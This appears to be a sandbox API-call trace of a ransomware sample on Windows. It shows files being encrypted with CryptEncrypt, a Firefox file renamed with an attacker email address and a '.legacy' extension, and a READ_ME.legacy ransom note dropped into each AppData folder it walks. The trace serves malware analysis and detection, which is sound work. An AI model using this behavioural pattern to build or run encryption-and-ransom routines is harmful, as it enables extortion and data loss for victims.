WriteFile (in: hFile=0x804, lpBuffer=0x5677d8*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5677d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6a, lpOverlapped=0x0) returned 1 [0149.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0149.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0149.360] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6a [0149.360] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0149.360] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0149.360] WriteFile (in: hFile=0x804, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0149.360] WriteFile (in: hFile=0x804, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0149.360] CloseHandle (hObject=0x804) returned 1 [0149.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0149.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0149.360] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\postsigningdata"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\postsigningdata.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0149.400] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0149.400] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0149.400] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0149.400] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xe1c2445c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563c78 [0149.401] SetLastError (dwErrCode=0x0) [0149.401] GetLastError () returned 0x0 [0149.401] SetLastError (dwErrCode=0x0) [0149.401] GetLastError () returned 0x0 [0149.401] SetLastError (dwErrCode=0x0) [0149.401] FindNextFileW (in: hFindFile=0x563c78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xe1c2445c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.401] SetLastError (dwErrCode=0x0) [0149.401] GetLastError () returned 0x0 [0149.401] SetLastError (dwErrCode=0x0) [0149.401] GetLastError () returned 0x0 [0149.401] SetLastError (dwErrCode=0x0) [0149.401] FindNextFileW (in: hFindFile=0x563c78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="308046B0AF4A39CB", cAlternateFileName="308046~1")) returned 1 [0149.401] SetLastError (dwErrCode=0x0) [0149.401] GetLastError () returned 0x0 [0149.401] SetLastError (dwErrCode=0x0) [0149.401] GetLastError () returned 0x0 [0149.401] SetLastError (dwErrCode=0x0) [0149.401] SetLastError (dwErrCode=0x0) [0149.401] GetLastError () returned 0x0 [0149.401] SetLastError (dwErrCode=0x0) [0149.401] SetLastError (dwErrCode=0x0) [0149.401] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\308046B0AF4A39CB\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\updates\\308046b0af4a39cb\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x808 [0149.402] WriteFile (in: hFile=0x808, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.403] CloseHandle (hObject=0x808) returned 1 [0149.403] FindNextFileW (in: hFindFile=0x563c78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c2445c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe1c2445c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe1c2445c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0149.403] SetLastError (dwErrCode=0x0) [0149.403] GetLastError () returned 0x0 [0149.403] SetLastError (dwErrCode=0x0) [0149.403] GetLastError () returned 0x0 [0149.403] SetLastError (dwErrCode=0x0) [0149.403] FindNextFileW (in: hFindFile=0x563c78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c2445c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe1c2445c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe1c2445c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0149.403] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe1c4a569, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563d38 [0149.404] SetLastError (dwErrCode=0x12) [0149.404] GetLastError () returned 0x12 [0149.404] SetLastError (dwErrCode=0x12) [0149.404] GetLastError () returned 0x12 [0149.404] SetLastError (dwErrCode=0x12) [0149.404] FindNextFileW (in: hFindFile=0x563d38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe1c4a569, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.404] SetLastError (dwErrCode=0x12) [0149.404] GetLastError () returned 0x12 [0149.404] SetLastError (dwErrCode=0x12) [0149.404] GetLastError () returned 0x12 [0149.404] SetLastError (dwErrCode=0x12) [0149.404] FindNextFileW (in: hFindFile=0x563d38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a79bf59, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0149.404] SetLastError (dwErrCode=0x12) [0149.404] GetLastError () returned 0x12 [0149.404] SetLastError (dwErrCode=0x12) [0149.404] GetLastError () returned 0x12 [0149.404] SetLastError (dwErrCode=0x12) [0149.404] SetLastError (dwErrCode=0x12) [0149.404] GetLastError () returned 0x12 [0149.404] SetLastError (dwErrCode=0x12) [0149.404] SetLastError (dwErrCode=0x12) [0149.404] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80c [0149.415] WriteFile (in: hFile=0x80c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.416] CloseHandle (hObject=0x80c) returned 1 [0149.416] FindNextFileW (in: hFindFile=0x563d38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a729855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0149.416] SetLastError (dwErrCode=0x0) [0149.416] GetLastError () returned 0x0 [0149.416] SetLastError (dwErrCode=0x0) [0149.416] GetLastError () returned 0x0 [0149.416] SetLastError (dwErrCode=0x0) [0149.416] SetLastError (dwErrCode=0x0) [0149.416] GetLastError () returned 0x0 [0149.416] SetLastError (dwErrCode=0x0) [0149.416] SetLastError (dwErrCode=0x0) [0149.417] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80c [0149.418] WriteFile (in: hFile=0x80c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.418] CloseHandle (hObject=0x80c) returned 1 [0149.419] FindNextFileW (in: hFindFile=0x563d38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a729855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0149.419] SetLastError (dwErrCode=0x0) [0149.419] GetLastError () returned 0x0 [0149.419] SetLastError (dwErrCode=0x0) [0149.419] SetLastError (dwErrCode=0x0) [0149.419] SetLastError (dwErrCode=0x0) [0149.419] GetLastError () returned 0x0 [0149.419] SetLastError (dwErrCode=0x0) [0149.419] GetLastError () returned 0x0 [0149.419] SetLastError (dwErrCode=0x0) [0149.419] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80c [0149.419] WriteFile (in: hFile=0x80c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.420] CloseHandle (hObject=0x80c) returned 1 [0149.420] FindNextFileW (in: hFindFile=0x563d38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a729855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0149.420] SetLastError (dwErrCode=0x0) [0149.420] GetLastError () returned 0x0 [0149.420] SetLastError (dwErrCode=0x0) [0149.420] SetLastError (dwErrCode=0x0) [0149.420] SetLastError (dwErrCode=0x0) [0149.420] GetLastError () returned 0x0 [0149.420] SetLastError (dwErrCode=0x0) [0149.420] GetLastError () returned 0x0 [0149.420] SetLastError (dwErrCode=0x0) [0149.420] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80c [0149.421] WriteFile (in: hFile=0x80c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.422] CloseHandle (hObject=0x80c) returned 1 [0149.422] FindNextFileW (in: hFindFile=0x563d38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c4a569, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe1c4a569, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe1c4a569, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0149.422] SetLastError (dwErrCode=0x0) [0149.422] GetLastError () returned 0x0 [0149.422] SetLastError (dwErrCode=0x0) [0149.422] SetLastError (dwErrCode=0x0) [0149.422] FindNextFileW (in: hFindFile=0x563d38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a729855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0149.422] SetLastError (dwErrCode=0x0) [0149.422] GetLastError () returned 0x0 [0149.422] SetLastError (dwErrCode=0x0) [0149.422] SetLastError (dwErrCode=0x0) [0149.422] SetLastError (dwErrCode=0x0) [0149.422] GetLastError () returned 0x0 [0149.422] SetLastError (dwErrCode=0x0) [0149.422] GetLastError () returned 0x0 [0149.422] SetLastError (dwErrCode=0x0) [0149.422] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80c [0149.423] WriteFile (in: hFile=0x80c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.423] CloseHandle (hObject=0x80c) returned 1 [0149.423] FindNextFileW (in: hFindFile=0x563d38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a729855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0149.424] SetLastError (dwErrCode=0x0) [0149.424] GetLastError () returned 0x0 [0149.424] SetLastError (dwErrCode=0x0) [0149.424] GetLastError () returned 0x0 [0149.424] SetLastError (dwErrCode=0x0) [0149.424] SetLastError (dwErrCode=0x0) [0149.424] SetLastError (dwErrCode=0x0) [0149.424] GetLastError () returned 0x0 [0149.424] SetLastError (dwErrCode=0x0) [0149.424] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80c [0149.425] WriteFile (in: hFile=0x80c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.425] CloseHandle (hObject=0x80c) returned 1 [0149.425] FindNextFileW (in: hFindFile=0x563d38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a729855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0149.425] SetLastError (dwErrCode=0x0) [0149.425] GetLastError () returned 0x0 [0149.426] SetLastError (dwErrCode=0x0) [0149.426] SetLastError (dwErrCode=0x0) [0149.426] SetLastError (dwErrCode=0x0) [0149.426] GetLastError () returned 0x0 [0149.426] SetLastError (dwErrCode=0x0) [0149.426] GetLastError () returned 0x0 [0149.426] SetLastError (dwErrCode=0x0) [0149.426] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80c [0149.426] WriteFile (in: hFile=0x80c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.427] CloseHandle (hObject=0x80c) returned 1 [0149.427] FindNextFileW (in: hFindFile=0x563d38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a729855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0149.427] SetLastError (dwErrCode=0x0) [0149.427] GetLastError () returned 0x0 [0149.427] SetLastError (dwErrCode=0x0) [0149.427] SetLastError (dwErrCode=0x0) [0149.427] SetLastError (dwErrCode=0x0) [0149.427] GetLastError () returned 0x0 [0149.427] SetLastError (dwErrCode=0x0) [0149.427] GetLastError () returned 0x0 [0149.427] SetLastError (dwErrCode=0x0) [0149.428] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80c [0149.428] WriteFile (in: hFile=0x80c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.429] CloseHandle (hObject=0x80c) returned 1 [0149.429] FindNextFileW (in: hFindFile=0x563d38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a729855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0149.429] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b15e23b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x8b92dcc4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe1c4a569, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563ab8 [0149.429] SetLastError (dwErrCode=0x12) [0149.429] GetLastError () returned 0x12 [0149.429] SetLastError (dwErrCode=0x12) [0149.429] GetLastError () returned 0x12 [0149.429] SetLastError (dwErrCode=0x12) [0149.429] FindNextFileW (in: hFindFile=0x563ab8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b15e23b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x8b92dcc4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe1c4a569, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.429] SetLastError (dwErrCode=0x12) [0149.429] GetLastError () returned 0x12 [0149.430] SetLastError (dwErrCode=0x12) [0149.430] GetLastError () returned 0x12 [0149.430] SetLastError (dwErrCode=0x12) [0149.430] FindNextFileW (in: hFindFile=0x563ab8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b34212e, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x309d358f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x309d358f, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0149.430] SetLastError (dwErrCode=0x12) [0149.430] GetLastError () returned 0x12 [0149.430] SetLastError (dwErrCode=0x12) [0149.430] GetLastError () returned 0x12 [0149.430] SetLastError (dwErrCode=0x12) [0149.430] SetLastError (dwErrCode=0x12) [0149.430] GetLastError () returned 0x12 [0149.430] SetLastError (dwErrCode=0x12) [0149.430] GetLastError () returned 0x12 